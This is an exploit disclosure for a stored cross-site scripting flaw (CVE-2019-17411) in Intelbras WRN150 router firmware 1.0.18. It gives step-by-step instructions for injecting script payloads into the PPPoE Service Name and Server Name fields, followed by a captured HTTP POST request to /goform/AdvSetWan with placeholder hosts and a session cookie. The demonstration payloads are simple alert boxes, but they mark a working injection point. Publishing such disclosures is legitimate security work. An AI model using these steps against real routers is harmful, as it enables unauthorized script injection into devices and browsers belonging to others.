# Exploit Title: Intelbras Router WRN150 1.0.18 - Persistent Cross-Site Scripting# Date: 2019-10-03# Exploit Author: Prof. Joas Antonio# Vendor Homepage: https://www.intelbras.com/pt-br/# Software Link: http://en.intelbras.com.br/node/25896# Version: 1.0.18# Tested on: Windows# CVE : CVE-2019–17411# PoC 1:1) Login to your router
2) After signing inas WAN Settings
3) Select for PPPOE mode
4) In the Service Name and Server Name field, enter any of these payloads:<script> alert ("Hacked")</script><script> alert (1)</script># PoC burp.txt
POST /goform/AdvSetWan HTTP/1.1
Host: TARGET
Content-Length:281
Cache-Control:max-age=0
Origin: http://TARGET
Upgrade-Insecure-Requests:1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0(Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://TARGET/wan_connected.asp
Accept-Encoding: gzip, deflate
Accept-Language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: ecos_pw=bWFkYXJhMTIxMQ==2dw:language=pt
Connection: close